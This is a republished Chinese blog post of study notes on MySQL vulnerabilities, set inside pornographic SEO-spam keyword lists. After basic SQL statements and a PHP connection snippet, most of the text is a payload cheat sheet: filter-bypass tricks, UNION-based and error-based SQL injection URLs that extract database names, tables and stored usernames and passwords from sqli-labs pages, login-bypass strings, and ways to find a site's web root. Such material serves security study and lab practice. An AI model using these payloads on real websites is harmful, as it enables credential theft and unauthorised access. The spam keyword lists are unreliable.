日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

数据库表名大小写_某教程学习笔记(一):09、MYSQL数据库漏洞

發布時間:2024/8/23 数据库 20 豆豆
生活随笔 收集整理的這篇文章主要介紹了 数据库表名大小写_某教程学习笔记(一):09、MYSQL数据库漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

她其實并不喜歡你,只是在寂寞的時候,你剛好撞上去,剛好你對她好,剛好你能入她眼,剛好她來著不拒,這所有都是剛好。。。

---- 網易云熱評

一、MYSQL語句

創建數據庫

create database test;

選擇要操作的數據庫

user test

創建表

create table aiyou ( id int, username varchar(20), password varchar(30));

向表中插入數據

insert into aiyou values(1,'admin','456');

insert into aiyou values(2,'boss','123');

insert into aiyou values(3,'ttt','123'),(3,'qqq','321'');

顯示aiyou表中的所有記錄

select * from aiyou;

從aiyou表中查找滿足條件id=1的記錄

select * from aiyou where id=1;

從aiyou表中查找滿足條件id=1的記錄,并只顯示username和password字段內容

select username,password from aiyou where id=1;

從aiyou表中查找同時滿足條件id=1以及username=“admin”的記錄

select * from aiyou where id=1 and username="admin";

從aiyou表中查找同時滿足條件id=1或者username=“boss”的記錄

select * from aiyou where id=1 or username="boss";

drop database test;刪除數據庫

drop table test;刪除表格

update aiyou set password='111' where username='boss' 更新數據

delete from aiyou where username='boss'; 刪除數據

select load_file('c:/111.txt'); 讀文件

show databases; 顯示當前數據庫

show tables;顯示選擇的數據的所有表

show create table aiyou G;顯示表結構的詳細數據

describe 表名;顯示表結構,大寫可以自動補全

select database(); 顯示當前數據庫

select version() 顯示數據庫版本

select user() 顯示當前用戶

select now();顯示當前時間

select system_user();獲取系統用戶名

select current_user();獲取當前用戶名

select session_user();連接數據庫的用戶名

select @@datadir; 讀取數據庫路徑

select @@basedir;mysql安裝路徑

select @@version_compile_os; 操作系統

二、數據庫連接

$dbhost = 'localhost'; // mysql服務器主機地址

$dbuser = 'root'; // mysql用戶名

$dbpass = 'root'; // mysql用戶名密碼

$conn = mysqli_connect($dbhost, $dbuser, $dbpass);

if(! $conn )

{ die('Could not connect: ' . mysqli_error());

}

echo '數據庫連接成功!';

mysqli_close($conn);

?>

三、防注入繞過

目標:http://www.aiyou .com?id=1

1、大小寫繞過

http://www.aiyou .com?id=1 And 1=1

2、雙寫繞過

http://www.aiyou .com?id=1 aandnd 1=1

3、%00繞過

http://www.aiyou .com?id=1 a%00nd 1=1

四、手工注入

1、http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=1 返回正常

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 返回錯誤,說明存在注入

2、判斷列數

http://192.168.21.140/sqli/Less-2/index.php?id=1 order by 3 返回正常,4返回返回錯誤,說明存在三列

3、聯合查詢

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,2,3 將2或3輸入我們想要查詢的內容

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,version(),database(),獲取當前數據庫及數據庫版本

4、獲取表名

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' 獲取security數據庫下的表名

5、獲取列名

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' 獲取users表下的列名

6、獲取字段內容

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users

五、報錯注入

1、獲取數據庫用戶

http://192.168.21.137/sqli/Less-1/index.php?id=1' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user()limit 0,1))a from information_schema.tables group by a)b --+

2、獲取數據庫名稱

http://192.168.21.137/sqli/Less-1/index.php?id=1' union select 1 from (select count(*),concat(floor(rand(0)*2),(select database()limit 0,1))a from information_schema.tables group by a)b --+

http://192.168.21.137/sqli/Less-1/index.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

3、獲取當前數據庫名稱,返回的是一個十六進制,需要還原

http://192.168.21.137/sqli/Less-1/index.php?id=1' and (select 1 from(select count(*),concat((select(select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

4、獲取表名

http://192.168.21.137/sqli/Less-1/index.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

5、獲取字段

http://192.168.21.137/sqli/Less-1/index.php?id=1'and(select 1 from(select count(*),concat((select(select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

6、獲取字段內容

http://192.168.21.137/sqli/Less-1/index.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x7e,password,0x27,0x7e) FROM users LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

六、后臺繞過

1、admin'#

2、admin' or 1=1 #

3、'or'='or'

4、admin' or '1'='1

5、admin' #

七、獲取網站的根沐浴露

1、報錯顯示

2、site:目標網站 warning

3、遺留文件phpinfo

4、漏洞爆路徑

5、讀取配置文件

禁止非法,后果自負

歡迎關注公眾號:web安全工具庫

總結

以上是生活随笔為你收集整理的数据库表名大小写_某教程学习笔记(一):09、MYSQL数据库漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 在线国产播放 | 欧美大片免费播放器 | 91视频88av| 国产91av在线 | 国产一区二区在线不卡 | 欧美bbbbbbbbbbbb精品 | 成人欧美一区二区三区黑人免费 | 日韩免费久久 | av电影在线播放 | 动漫美女隐私无遮挡 | 天天干天天干天天干天天 | 亚洲国产中文字幕 | 久久超级碰碰 | 午夜久久久久久久 | 99热在线这里只有精品 | av在线www| 亚洲国产婷婷香蕉久久久久久99 | 亚洲人精品午夜射精日韩 | 欧美一性一乱一交一视频 | 5a毛片| 国产黄色电影 | 美女网站在线免费观看 | 99在线播放视频 | 奇米婷婷 | av片免费播放 | av中文字幕亚洲 | 久久成年人 | 香蕉大久久 | 男女插插插视频 | 啪啪的网站 | 日韩精彩视频在线观看 | 日韩高清二区 | 蜜桃av噜噜 | 欧美大色一区 | 日本最新中文字幕 | 亚洲一区免费看 | 亚洲综合色小说 | 国产乱色精品成人免费视频 | 免费欧美 | 亚洲免费在线看 | 免费在线日韩 | 在线观看国产免费视频 | 婷婷二区 | 欧美精产国品一二三 | 成人小视频在线观看 | 在线草| 日韩在线视频播放 | 极品女神无套呻吟啪啪 | 一本视频 | 欧美精品一区二区三区三州 | 黄色小视频在线播放 | 国产成人一区二区三区小说 | 91成人免费在线视频 | 五色天婷婷 | 久久国语对白 | 午夜影院免费看 | 青青插| 校霸被c到爽夹震蛋上课高潮 | 日韩亚洲精品中文字幕 | 国产欧美久久久久久 | 国产精品成人自拍 | 尤物视频在线观看免费 | 久久免费视频3 | 青娱乐99 | 欧美亚洲自拍偷拍 | 色哟哟导航 | 久操视频免费观看 | 午夜久久久久久噜噜噜噜 | av三级在线播放 | 啪啪免费小视频 | 亚洲五级片 | 亚洲精品视频在线免费 | wwwav在线| 久热热 | 欧美色射| 欧美一级爽aaaaa大片 | av88av| 麻豆一区二区99久久久久 | 国产亚洲综合精品 | 亚洲一区成人在线 | 国产成人97精品免费看片 | 青青草福利 | av大片在线观看 | 日日爽日日操 | 娇妻高潮浓精白浆xxⅹ | 高清视频在线播放 | 国产一区二区色 | 亚洲AV无码片久久精品 | 亚州av一区| 九九九九热 | 美国色视频| 青青精品视频 | 午夜激情在线观看 | 日本高清不卡在线 | 91小仙女jk白丝袜呻吟 | 精精国产xxxx视频在线播放 | 中文字幕日韩精品在线观看 | 狠狠综合 | 美国特色黄a大片 |